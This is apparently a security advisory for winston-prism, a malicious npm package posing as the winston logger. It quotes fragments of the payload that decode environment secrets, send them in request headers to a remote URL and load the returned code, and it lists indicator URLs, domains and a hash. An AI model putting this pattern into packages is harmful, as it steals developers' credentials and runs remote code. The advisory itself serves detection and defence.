GCVE-110-OSM-2026-1413

Advisory PublishedCVSS 9.6/10

Vulnetix · Advisory published April 3, 2026

Malicious package detected. Behaviors: data exfiltration, network activity, obfuscated code. Payload: dist/winston_prisma/prismalogger.js Secondary files: lib/winston_prisma/prismalogger.js Key findings: - Environment Variable Exfiltration in dist/winston_prisma/prismalogger.js: "process.env.DEV_SECRET_KEY); const v = atob(process.env.DEV_SECRET_VALUE); l..." - Base64 Decoded Environment Variable in dist/winston_prisma/prismalogger.js: "atob(process.env." - Download and Execute in dist/winston_prisma/prismalogger.js: "axios.get(src, { headers: { [k]: v } })).data.lo..." - Environment Variable Exfiltration in lib/winston_prisma/prismalogger.js: "process.env.DEV_SECRET_KEY); const v = atob(process.env.DEV_SECRET_VALUE); ..." - Base64 Decoded Environment Variable in lib/winston_prisma/prismalogger.js: "atob(process.env." IOCs: - urls: https://npmcharts.com/compare/winston?minimal=true, https://nodei.co/npm/winston/, https://www.loggly.com/docs/api-retrieving-data/, https://mochajs.org, https://jsonkeeper.com/b/2IG6W - domains: npmcharts.com, nodei.co, winston.info, www.loggly.com, category1.info (+3 more) - emails: dabh@alumni.stanford.edu - payloadFileHash: 81c1cd1e1ada5e40c1a8e18f5e230ac789fe3d913639551f8181dd698e123886 Decoded/deobfuscated IOCs: - urls: https://jsonkeeper.com/b/2IG6W - domains: jsonkeeper.com

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Weaknesses (CWE)

CWE-506Embedded Malicious Code

Risk Scores

CVSS 3.1

9.6/10

Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Affected Products

Vendor	Product	Versions	Platforms
unknown	winston-prism	all (affected)	—

References

Malicious npm package: winston-prism

advisory

vendor

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